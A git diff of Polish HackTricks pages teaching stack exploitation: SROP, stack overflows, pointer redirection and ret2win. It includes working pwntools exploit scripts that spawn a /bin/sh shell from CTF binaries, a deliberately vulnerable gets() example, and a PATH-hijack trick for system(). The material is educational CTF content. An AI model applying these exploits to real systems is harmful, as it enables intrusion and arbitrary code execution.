* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
|
|
|||
|
|
@ -0,0 +1,148 @@
|
|||
# SROP - Programowanie zorientowane na powrót sygnału
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Inne sposoby wsparcia HackTricks:
|
||||
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na GitHubie.
|
||||
|
||||
</details>
|
||||
|
||||
## Podstawowe informacje
|
||||
|
||||
**`Sigreturn`** to specjalne **wywołanie systemowe**, które jest głównie używane do posprzątania po zakończeniu działania obsługi sygnału. Sygnały to przerwania wysyłane do programu przez system operacyjny, często w celu wskazania, że wystąpiła jakaś wyjątkowa sytuacja. Gdy program otrzymuje sygnał, tymczasowo wstrzymuje swoją bieżącą pracę, aby obsłużyć sygnał za pomocą **obsługi sygnału**, specjalnej funkcji przeznaczonej do radzenia sobie z sygnałami.
|
||||
|
||||
Po zakończeniu obsługi sygnału program musi **wznowić swój poprzedni stan**, jakby nic się nie stało. Właśnie tutaj pojawia się **`sigreturn`**. Pomaga programowi **powrócić z obsługi sygnału** i przywraca stan programu poprzez posprzątanie ramki stosu (sekcji pamięci przechowującej wywołania funkcji i zmienne lokalne), która była używana przez obsługę sygnału.
|
||||
|
||||
Interesującą częścią jest sposób, w jaki **`sigreturn`** przywraca stan programu: robi to poprzez przechowywanie **wszystkich wartości rejestrów CPU na stosie**. Gdy sygnał nie jest już blokowany, **`sigreturn` zdejmuje te wartości ze stosu**, efektywnie resetując rejestry CPU do stanu sprzed obsługi sygnału. Obejmuje to rejestr wskaźnika stosu (RSP), który wskazuje na aktualny szczyt stosu.
|
||||
|
||||
{% hint style="danger" %}
|
||||
Wywołując wywołanie systemowe **`sigreturn`** z łańcucha ROP i **dodając wartości rejestrów**, które chcielibyśmy, aby załadował na **stosie**, możemy **kontrolować** wszystkie wartości rejestrów i w rezultacie **wywołać** na przykład wywołanie systemowe `execve` z `/bin/sh`.
|
||||
{% endhint %}
|
||||
|
||||
Zauważ, że byłoby to **rodzajem Ret2syscall**, który znacznie ułatwia kontrolowanie parametrów do wywołania innych Ret2syscalls:
|
||||
|
||||
{% content-ref url="rop-syscall-execv.md" %}
|
||||
[rop-syscall-execv.md](rop-syscall-execv.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
Jeśli jesteś ciekawy, oto **struktura sigcontext** przechowywana na stosie do późniejszego odzyskania wartości (diagram z [**tutaj**](https://guyinatuxedo.github.io/16-srop/backdoor\_funsignals/index.html)):
|
||||
```
|
||||
+--------------------+--------------------+
|
||||
| rt_sigeturn() | uc_flags |
|
||||
+--------------------+--------------------+
|
||||
| &uc | uc_stack.ss_sp |
|
||||
+--------------------+--------------------+
|
||||
| uc_stack.ss_flags | uc.stack.ss_size |
|
||||
+--------------------+--------------------+
|
||||
| r8 | r9 |
|
||||
+--------------------+--------------------+
|
||||
| r10 | r11 |
|
||||
+--------------------+--------------------+
|
||||
| r12 | r13 |
|
||||
+--------------------+--------------------+
|
||||
| r14 | r15 |
|
||||
+--------------------+--------------------+
|
||||
| rdi | rsi |
|
||||
+--------------------+--------------------+
|
||||
| rbp | rbx |
|
||||
+--------------------+--------------------+
|
||||
| rdx | rax |
|
||||
+--------------------+--------------------+
|
||||
| rcx | rsp |
|
||||
+--------------------+--------------------+
|
||||
| rip | eflags |
|
||||
+--------------------+--------------------+
|
||||
| cs / gs / fs | err |
|
||||
+--------------------+--------------------+
|
||||
| trapno | oldmask (unused) |
|
||||
+--------------------+--------------------+
|
||||
| cr2 (segfault addr)| &fpstate |
|
||||
+--------------------+--------------------+
|
||||
| __reserved | sigmask |
|
||||
+--------------------+--------------------+
|
||||
```
|
||||
Dla lepszego wyjaśnienia sprawdź również:
|
||||
|
||||
{% embed url="https://youtu.be/ADULSwnQs-s?feature=shared" %}
|
||||
|
||||
## Przykład
|
||||
|
||||
Możesz [**znaleźć przykład tutaj**](https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop/using-srop), gdzie wywołanie signeturn jest konstruowane za pomocą ROP (umieszczając wartość `0xf` w rxa), chociaż to jest ostateczny exploit stamtąd:
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
elf = context.binary = ELF('./vuln', checksec=False)
|
||||
p = process()
|
||||
|
||||
BINSH = elf.address + 0x1250
|
||||
POP_RAX = 0x41018
|
||||
SYSCALL_RET = 0x41015
|
||||
|
||||
frame = SigreturnFrame()
|
||||
frame.rax = 0x3b # syscall number for execve
|
||||
frame.rdi = BINSH # pointer to /bin/sh
|
||||
frame.rsi = 0x0 # NULL
|
||||
frame.rdx = 0x0 # NULL
|
||||
frame.rip = SYSCALL_RET
|
||||
|
||||
payload = b'A' * 8
|
||||
payload += p64(POP_RAX)
|
||||
payload += p64(0xf) # 0xf is the number of the syscall sigreturn
|
||||
payload += p64(SYSCALL_RET)
|
||||
payload += bytes(frame)
|
||||
|
||||
p.sendline(payload)
|
||||
p.interactive()
|
||||
```
|
||||
Sprawdź również [**exploit stąd**](https://guyinatuxedo.github.io/16-srop/csaw19\_smallboi/index.html), gdzie plik binarny już wywoływał `sigreturn`, więc nie jest konieczne budowanie tego za pomocą **ROP**:
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
# Establish the target
|
||||
target = process("./small_boi")
|
||||
#gdb.attach(target, gdbscript = 'b *0x40017c')
|
||||
#target = remote("pwn.chal.csaw.io", 1002)
|
||||
|
||||
# Establish the target architecture
|
||||
context.arch = "amd64"
|
||||
|
||||
# Establish the address of the sigreturn function
|
||||
sigreturn = p64(0x40017c)
|
||||
|
||||
# Start making our sigreturn frame
|
||||
frame = SigreturnFrame()
|
||||
|
||||
frame.rip = 0x400185 # Syscall instruction
|
||||
frame.rax = 59 # execve syscall
|
||||
frame.rdi = 0x4001ca # Address of "/bin/sh"
|
||||
frame.rsi = 0x0 # NULL
|
||||
frame.rdx = 0x0 # NULL
|
||||
|
||||
payload = "0"*0x28 # Offset to return address
|
||||
payload += sigreturn # Function with sigreturn
|
||||
payload += str(frame)[8:] # Our sigreturn frame, adjusted for the 8 byte return shift of the stack
|
||||
|
||||
target.sendline(payload) # Send the target payload
|
||||
|
||||
# Drop to an interactive shell
|
||||
target.interactive()
|
||||
```
|
||||
## Inne Przykłady i Odnośniki
|
||||
|
||||
* [https://youtu.be/ADULSwnQs-s?feature=shared](https://youtu.be/ADULSwnQs-s?feature=shared)
|
||||
* [https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop](https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop)
|
||||
* [https://guyinatuxedo.github.io/16-srop/backdoor\_funsignals/index.html](https://guyinatuxedo.github.io/16-srop/backdoor\_funsignals/index.html)
|
||||
* Binarny kod Assembly, który pozwala **zapisywać na stosie** a następnie wywołuje syscall **`sigreturn`**. Możliwe jest zapisanie na stosie [**ret2syscall**](rop-syscall-execv.md) poprzez strukturę **sigreturn** i odczytanie flagi znajdującej się w pamięci binarnego pliku.
|
||||
* [https://guyinatuxedo.github.io/16-srop/csaw19\_smallboi/index.html](https://guyinatuxedo.github.io/16-srop/csaw19\_smallboi/index.html)
|
||||
* Binarny kod Assembly, który pozwala **zapisywać na stosie** a następnie wywołuje syscall **`sigreturn`**. Możliwe jest zapisanie na stosie [**ret2syscall**](rop-syscall-execv.md) poprzez strukturę **sigreturn** (binarny plik zawiera ciąg znaków `/bin/sh`).
|
||||
* [https://guyinatuxedo.github.io/16-srop/inctf17\_stupidrop/index.html](https://guyinatuxedo.github.io/16-srop/inctf17\_stupidrop/index.html)
|
||||
* 64 bity, brak relro, brak canary, nx, brak pie. Prosty przepełnienie bufora wykorzystujące funkcję `gets` bez odpowiednich gadżetów, które wykonują [**ret2syscall**](rop-syscall-execv.md). Łańcuch ROP zapisuje `/bin/sh` w `.bss` poprzez ponowne wywołanie gets, wykorzystuje funkcję **`alarm`** do ustawienia eax na `0xf` w celu wywołania **SROP** i uruchomienia powłoki.
|
||||
* [https://guyinatuxedo.github.io/16-srop/swamp19\_syscaller/index.html](https://guyinatuxedo.github.io/16-srop/swamp19\_syscaller/index.html)
|
||||
* Program Assembly 64 bitowy, brak relro, brak canary, nx, brak pie. Przepływ umożliwia zapisanie na stosie, kontrolę kilku rejestrów, wywołanie syscall, a następnie wywołanie `exit`. Wybranym systemem wywołania jest `sigreturn`, który ustawia rejestry, przesuwa `eip` w celu wywołania poprzedniej instrukcji syscall i uruchomienia `memprotect` w celu ustawienia przestrzeni binarnej na `rwx` oraz ustawienia ESP w przestrzeni binarnej. Kontynuując przepływ, program ponownie wywoła read w ESP, ale w tym przypadku ESP będzie wskazywał na następną instrukcję, więc przekazanie shellcode spowoduje zapisanie go jako następnej instrukcji i jego wykonanie.
|
||||
|
|
@ -9,19 +9,20 @@ Inne sposoby wsparcia HackTricks:
|
|||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Dołącz do** 💬 [**Grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakowania, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na GitHubie.
|
||||
|
||||
</details>
|
||||
|
||||
## Co to jest przepełnienie stosu
|
||||
|
||||
**Przepełnienie stosu** to podatność, która występuje, gdy program zapisuje więcej danych na stosie, niż jest mu przydzielone do przechowywania. Nadmiarowe dane spowodują **nadpisanie sąsiedniego obszaru pamięci**, prowadząc do uszkodzenia poprawnych danych, zakłócenia przepływu sterowania i potencjalnie wykonania złośliwego kodu. Ten problem często wynika z użycia funkcji niewykonywania kontroli granic na wejściu.
|
||||
**Przepełnienie stosu** to podatność, która występuje, gdy program zapisuje więcej danych na stosie, niż jest mu przydzielone do przechowywania. Nadmiarowe dane **nadpisują sąsiednie miejsce w pamięci**, prowadząc do uszkodzenia poprawnych danych, zakłócenia przepływu kontroli i potencjalnie wykonania złośliwego kodu. Ten problem często wynika z użycia funkcji niebezpiecznych, które nie wykonują sprawdzania granic danych wejściowych.
|
||||
|
||||
Głównym problemem tego nadpisania jest to, że wskaźniki **EIP** i **EBP** do powrotu do poprzedniej funkcji są **przechowywane na stosie**. Dlatego atakujący będzie mógł nadpisać te wskaźniki i **kontrolować przepływ wykonania programu**.
|
||||
Głównym problemem tego nadpisania jest to, że **zachowany wskaźnik instrukcji (EIP/RIP)** i **zachowany wskaźnik bazowy (EBP/RBP)** do powrotu do poprzedniej funkcji są **przechowywane na stosie**. Dlatego atakujący będzie mógł nadpisać te wartości i **kontrolować przepływ wykonania programu**.
|
||||
|
||||
Podatność zazwyczaj pojawia się, gdy funkcja **kopiuję wewnątrz stosu więcej bajtów niż jest na nią zaalokowane**, co pozwala na nadpisanie innych części stosu.\
|
||||
Niektóre powszechne funkcje podatne na to to: `strcpy`, `strcat`, `sprintf`, `gets`, `fgets`...
|
||||
Podatność zazwyczaj pojawia się, gdy funkcja **kopiuję więcej bajtów na stosie niż jest na niego zaalokowane**, co pozwala na nadpisanie innych części stosu.
|
||||
|
||||
Niektóre powszechne funkcje podatne na to to: **`strcpy`, `strcat`, `sprintf`, `gets`**... Ponadto funkcje takie jak **`fgets`**, **`read` & `memcpy`**, które przyjmują argument **długości**, mogą być używane w podatny sposób, jeśli określona długość jest większa niż zaalokowana.
|
||||
|
||||
Na przykład, następujące funkcje mogą być podatne:
|
||||
```c
|
||||
|
|
@ -32,15 +33,15 @@ gets(buffer); // This is where the vulnerability lies
|
|||
printf("You entered: %s\n", buffer);
|
||||
}
|
||||
```
|
||||
### Znajdowanie przesunięć Stack Overflows
|
||||
### Znajdowanie przesunięć przepełnienia stosu
|
||||
|
||||
Najczęstszym sposobem na znalezienie przepełnienia stosu jest podanie bardzo dużego wejścia z literami `A` (np. `python3 -c 'print("A"*1000)'`) i oczekiwanie `Segmentation Fault`, co wskazuje, że próbowano uzyskać dostęp do **adresu `0x41414141`**.
|
||||
|
||||
Co więcej, gdy już zidentyfikujesz podatność na przepełnienie stosu, będziesz musiał znaleźć przesunięcie, aż będzie możliwe **nadpisanie wskaźnika EIP**, do tego zazwyczaj używa się **sekwencji De Bruijna**. Dla danego alfabetu o rozmiarze _k_ i podsekwencji o długości _n_, jest to **cykliczna sekwencja, w której każda możliwa podsekwencja o długości **_**n**_** pojawia się dokładnie raz** jako ciągły podciąg.
|
||||
Ponadto, gdy już zidentyfikujesz podatność na przepełnienie stosu, będziesz musiał znaleźć przesunięcie, aż będzie możliwe **nadpisanie adresu powrotu**, w tym celu zazwyczaj używa się **sekwencji De Bruijna**. Dla danego alfabetu o rozmiarze _k_ i podsekwencji o długości _n_, jest to **cykliczna sekwencja, w której każda możliwa podsekwencja o długości _n_** występuje dokładnie raz **jako ciągła podsekwencja**.
|
||||
|
||||
W ten sposób, zamiast ręcznie określać, które przesunięcie nadpisuje EIP, można użyć jednej z tych sekwencji jako dopełnienia, a następnie znaleźć przesunięcie bajtów, które skończyły nadpisywać go.
|
||||
W ten sposób, zamiast ręcznie określać potrzebne przesunięcie do kontrolowania EIP, można użyć jednej z tych sekwencji jako dopełnienia, a następnie znaleźć przesunięcie bajtów, które nadpisały ten adres.
|
||||
|
||||
Można to zrobić za pomocą **pwntools**:
|
||||
Można to zrobić przy użyciu **pwntools**:
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
|
|
@ -61,14 +62,14 @@ pattern search $rsp #Search the offset given the content of $rsp
|
|||
```
|
||||
## Wykorzystywanie przepełnień stosu
|
||||
|
||||
Podczas przepełnienia (przy założeniu, że rozmiar przepełnienia jest wystarczająco duży) będziesz mógł nadpisać wartości innych zmiennych na stosie aż do osiągnięcia EBP i EIP (lub nawet więcej).\
|
||||
Najczęstszy sposób nadużycia tego rodzaju podatności polega na **modyfikowaniu wskaźnika EIP**, dzięki czemu po zakończeniu funkcji **przepływ sterowania zostanie przekierowany w miejsce, które użytkownik określił** w tym wskaźniku.
|
||||
Podczas przepełnienia (przy założeniu, że rozmiar przepełnienia jest wystarczająco duży) będziesz mógł **nadpisać** wartości zmiennych lokalnych na stosie aż do osiągnięcia zapisanych **EBP/RBP i EIP/RIP (lub nawet więcej)**.\
|
||||
Najczęstszym sposobem wykorzystania tego rodzaju podatności jest **modyfikacja adresu powrotu**, aby po zakończeniu funkcji **przepływ sterowania został przekierowany w miejsce, które użytkownik określił** w tym wskaźniku.
|
||||
|
||||
Jednakże, w innych scenariuszach może wystarczyć **nadpisanie wartości niektórych zmiennych na stosie** dla eksploatacji (jak w łatwych wyzwaniach CTF).
|
||||
Jednakże, w innych scenariuszach może być wystarczające **nadpisanie wartości niektórych zmiennych na stosie** dla eksploatacji (jak w łatwych wyzwaniach CTF).
|
||||
|
||||
### Ret2win
|
||||
|
||||
W tego rodzaju wyzwaniach CTF, istnieje **funkcja** **wewnątrz** binariów, która **nigdy nie jest wywoływana** i **musisz ją wywołać, aby wygrać**. W tych wyzwaniach wystarczy znaleźć **przesunięcie do nadpisania EIP** i **znaleźć adres funkcji** do wywołania (zwykle [**ASLR**](../common-binary-protections-and-bypasses/aslr/) byłoby wyłączone), więc po zakończeniu funkcji podatnej, ukryta funkcja zostanie wywołana:
|
||||
W tego rodzaju wyzwaniach CTF, istnieje **funkcja** **wewnątrz** binariów, która **nigdy nie jest wywoływana** i **musisz ją wywołać, aby wygrać**. W tych wyzwaniach wystarczy znaleźć **przesunięcie do nadpisania adresu powrotu** i **znaleźć adres funkcji** do wywołania (zwykle [**ASLR**](../common-binary-protections-and-bypasses/aslr/) byłoby wyłączone), więc gdy podatna funkcja zakończy działanie, ukryta funkcja zostanie wywołana:
|
||||
|
||||
{% content-ref url="ret2win.md" %}
|
||||
[ret2win.md](ret2win.md)
|
||||
|
|
@ -76,15 +77,15 @@ W tego rodzaju wyzwaniach CTF, istnieje **funkcja** **wewnątrz** binariów, kt
|
|||
|
||||
### Shellcode na stosie
|
||||
|
||||
W tym scenariuszu atakujący może umieścić shellcode na stosie i nadużyć kontrolowanego EIP, aby przejść do shellcode i wykonać kod atakującego:
|
||||
W tym scenariuszu atakujący może umieścić shellcode na stosie i wykorzystać kontrolowany EIP/RIP, aby przeskoczyć do shellcode i wykonać dowolny kod:
|
||||
|
||||
{% content-ref url="stack-shellcode.md" %}
|
||||
[stack-shellcode.md](stack-shellcode.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Techniki ROP & Ret2...
|
||||
### ROP i techniki Ret2...
|
||||
|
||||
Ta technika stanowi podstawową strukturę do obejścia głównej ochrony poprzedniej techniki: **Brak wykonalnego stosu**. Pozwala ona na wykonanie kilku innych technik (ret2lib, ret2syscall...), które zakończą się wykonaniem dowolnych poleceń poprzez nadużywanie istniejących instrukcji w binariach:
|
||||
Ta technika stanowi podstawową strukturę do obejścia głównej ochrony poprzedniej techniki: **Brak wykonalnego stosu (NX)**. Pozwala ona na wykonanie kilku innych technik (ret2lib, ret2syscall...), które zakończą się wykonaniem dowolnych poleceń poprzez nadużywanie istniejących instrukcji w binariach:
|
||||
|
||||
{% content-ref url="../rop-return-oriented-programing/" %}
|
||||
[rop-return-oriented-programing](../rop-return-oriented-programing/)
|
||||
|
|
@ -92,7 +93,7 @@ Ta technika stanowi podstawową strukturę do obejścia głównej ochrony poprze
|
|||
|
||||
## Rodzaje zabezpieczeń
|
||||
|
||||
Istnieje kilka zabezpieczeń próbujących zapobiec eksploatacji podatności, sprawdź je:
|
||||
Istnieje kilka zabezpieczeń próbujących zapobiec wykorzystaniu podatności, sprawdź je w:
|
||||
|
||||
{% content-ref url="../common-binary-protections-and-bypasses/" %}
|
||||
[common-binary-protections-and-bypasses](../common-binary-protections-and-bypasses/)
|
||||
|
|
|
|||
|
|
@ -14,13 +14,13 @@ Inne sposoby wsparcia HackTricks:
|
|||
|
||||
</details>
|
||||
|
||||
## Wskaźniki do łańcuchów znaków
|
||||
## Wskaźniki do łańcuchów
|
||||
|
||||
Jeśli wywołanie funkcji ma użyć adresu łańcucha znaków znajdującego się na stosie, można nadużyć przepełnienia bufora, aby **nadpisać ten adres** i umieścić **adres innego łańcucha znaków** wewnątrz pliku binarnego.
|
||||
Jeśli wywołanie funkcji ma użyć adresu łańcucha znajdującego się na stosie, można nadużyć przepełnienia bufora, aby **nadpisać ten adres** i umieścić **adres innego łańcucha** wewnątrz pliku binarnego.
|
||||
|
||||
Jeśli na przykład wywołanie funkcji **`system`** ma **użyć adresu łańcucha znaków do wykonania polecenia**, atakujący mógłby umieścić **adres innego łańcucha znaków na stosie**, **`export PATH=.:$PATH`** i utworzyć w bieżącym katalogu **skrypt o nazwie pierwszej litery nowego łańcucha znaków**, ponieważ zostanie on wykonany przez plik binarny.
|
||||
Jeśli na przykład wywołanie funkcji **`system`** ma **użyć adresu łańcucha do wykonania polecenia**, atakujący mógłby umieścić **adres innego łańcucha na stosie**, **`export PATH=.:$PATH`** i utworzyć w bieżącym katalogu **skrypt o nazwie pierwszej litery nowego łańcucha**, ponieważ zostanie on wykonany przez plik binarny.
|
||||
|
||||
Możesz znaleźć przykład tego w:
|
||||
Możesz znaleźć **przykład** tego w:
|
||||
|
||||
* [https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/strptr.c](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/strptr.c)
|
||||
* [https://guyinatuxedo.github.io/04-bof\_variable/tw17\_justdoit/index.html](https://guyinatuxedo.github.io/04-bof\_variable/tw17\_justdoit/index.html)
|
||||
|
|
@ -28,9 +28,9 @@ Możesz znaleźć przykład tego w:
|
|||
|
||||
## Wskaźniki funkcji
|
||||
|
||||
To samo co wskaźnik do łańcucha, ale dotyczy funkcji, jeśli **stos zawiera adres funkcji**, która zostanie wywołana, można go **zmienić** (np. aby wywołać **`system`**).
|
||||
To samo co wskaźnik do łańcucha, ale stosuje się to do funkcji, jeśli **stos zawiera adres funkcji**, która zostanie wywołana, można go **zmienić** (np. aby wywołać **`system`**).
|
||||
|
||||
Możesz znaleźć przykład tego w:
|
||||
Przykład znajdziesz w:
|
||||
|
||||
* [https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/funcptr.c](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/funcptr.c)
|
||||
|
||||
|
|
|
|||
|
|
@ -9,14 +9,14 @@ Inne sposoby wsparcia HackTricks:
|
|||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Dołącz do** 💬 [**Grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na GitHubie.
|
||||
|
||||
</details>
|
||||
|
||||
## Podstawowe informacje
|
||||
|
||||
Wyzwania **Ret2win** są popularną kategorią w konkursach **Capture The Flag (CTF)**, szczególnie w zadaniach związanych z **eksploatacją binarną**. Celem jest wykorzystanie podatności w danym pliku binarnym do wykonania określonej, niezainicjowanej funkcji wewnątrz binarnego pliku, często nazwanej np. `win`, `ret2win`, itp. Ta funkcja, gdy jest wywoływana, zazwyczaj wyświetla flagę lub komunikat o sukcesie. Wyzwanie zazwyczaj polega na nadpisaniu **adresu powrotu** na stosie, aby zmienić przepływ wykonania na pożądaną funkcję. Oto bardziej szczegółowe wyjaśnienie wraz z przykładami:
|
||||
Wyzwania **Ret2win** są popularną kategorią w konkursach **Capture The Flag (CTF)**, szczególnie w zadaniach związanych z **eksploatacją binarną**. Celem jest wykorzystanie podatności w danym pliku binarnym do wykonania określonej, niewywołanej funkcji wewnątrz binarnego, często nazwanej np. `win`, `flag`, itp. Ta funkcja, gdy jest wywoływana, zazwyczaj wyświetla flagę lub komunikat o sukcesie. Wyzwanie zazwyczaj polega na nadpisaniu **adresu powrotu** na stosie, aby zmienić przepływ wykonania na pożądaną funkcję. Oto bardziej szczegółowe wyjaśnienie wraz z przykładami:
|
||||
|
||||
### Przykład w języku C
|
||||
|
||||
|
|
@ -43,10 +43,10 @@ Aby skompilować ten program bez zabezpieczeń stosu i z wyłączonym **ASLR**,
|
|||
```sh
|
||||
gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
|
||||
```
|
||||
* `-m32`: Skompiluj program jako 32-bitowy binarny (to jest opcjonalne, ale często używane w wyzwaniach CTF).
|
||||
* `-m32`: Skompiluj program jako 32-bitowy binarny (to jest opcjonalne, ale częste w wyzwaniach CTF).
|
||||
* `-fno-stack-protector`: Wyłącz ochronę przed przepełnieniem stosu.
|
||||
* `-z execstack`: Pozwól na wykonanie kodu ze stosu.
|
||||
* `-no-pie`: Wyłącz wykonywalne pliki o pozycji niezależnej, aby zapewnić, że adres funkcji `win` nie zmieni się.
|
||||
* `-no-pie`: Wyłącz wykonywalność plików o pozycji niezależnej, aby zapewnić, że adres funkcji `win` nie zmieni się.
|
||||
* `-o vulnerable`: Nazwij plik wyjściowy `vulnerable`.
|
||||
|
||||
### Wykorzystanie exploitu w Pythonie za pomocą Pwntools
|
||||
|
|
@ -71,18 +71,18 @@ payload = b'A' * 68 + win_addr
|
|||
p.sendline(payload)
|
||||
p.interactive()
|
||||
```
|
||||
Aby znaleźć adres funkcji `win`, możesz użyć **gdb**, **objdump** lub innego narzędzia umożliwiającego inspekcję plików binarnych. Na przykład, z `objdump` możesz użyć:
|
||||
Aby znaleźć adres funkcji `win`, możesz użyć **gdb**, **objdump** lub innego narzędzia pozwalającego na inspekcję plików binarnych. Na przykład, z `objdump` możesz użyć:
|
||||
```sh
|
||||
objdump -d vulnerable | grep win
|
||||
```
|
||||
To polecenie pokaże ci zestawienie funkcji `win`, wraz z jej adresem początkowym.
|
||||
|
||||
Skrypt w języku Python wysyła starannie spreparowaną wiadomość, która, po przetworzeniu przez funkcję `vulnerable_function`, powoduje przepełnienie bufora i nadpisanie adresu powrotu na stosie adresem `win`. Gdy funkcja `vulnerable_function` zakończy działanie, zamiast wracać do `main` lub zakończyć działanie, skacze do `win`, a wiadomość zostaje wyświetlona.
|
||||
Skrypt w języku Python wysyła starannie spreparowaną wiadomość, która po przetworzeniu przez funkcję `vulnerable_function` powoduje przepełnienie bufora i nadpisuje adres powrotu na stosie adresem `win`. Gdy funkcja `vulnerable_function` zakończy działanie, zamiast wracać do `main` lub zakończyć działanie, skacze do funkcji `win`, a wiadomość zostaje wyświetlona.
|
||||
|
||||
## Zabezpieczenia
|
||||
|
||||
* [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **powinno być wyłączone**, aby adres był niezmienny w kolejnych wykonaniach, w przeciwnym razie miejsce, gdzie funkcja będzie przechowywana, nie będzie zawsze takie samo, i potrzebny będzie jakiś wyciek, aby ustalić, gdzie jest załadowana funkcja win.
|
||||
* [**Kanarki stosu**](../common-binary-protections-and-bypasses/stack-canaries/) również powinny być wyłączone, w przeciwnym razie skompromitowany adres powrotu EIP nigdy nie zostanie wykonany.
|
||||
* [**PIE**](../common-binary-protections-and-bypasses/pie/) **powinno być wyłączone**, aby adres był niezawodny w różnych wykonaniach, w przeciwnym razie adres, pod którym będzie przechowywana funkcja, nie będzie zawsze taki sam i będziesz potrzebować wycieku, aby dowiedzieć się, gdzie jest załadowana funkcja win. W niektórych przypadkach, gdy funkcja powodująca przepełnienie to `read` lub podobna, można wykonać **Częściowe Nadpisanie** 1 lub 2 bajtami, aby zmienić adres powrotu na funkcję win. Ze względu na sposób działania ASLR, ostatnie trzy heksadecymalne cyfry nie są losowo generowane, więc istnieje **1/16 szansa** (1 cyfra) na uzyskanie poprawnego adresu powrotu.
|
||||
* [**Stack Canaries**](../common-binary-protections-and-bypasses/stack-canaries/) również powinny być wyłączone, w przeciwnym razie skompromitowany adres powrotu EIP nigdy nie zostanie wykonany.
|
||||
|
||||
## Inne przykłady i odnośniki
|
||||
|
||||
|
|
@ -94,12 +94,14 @@ Skrypt w języku Python wysyła starannie spreparowaną wiadomość, która, po
|
|||
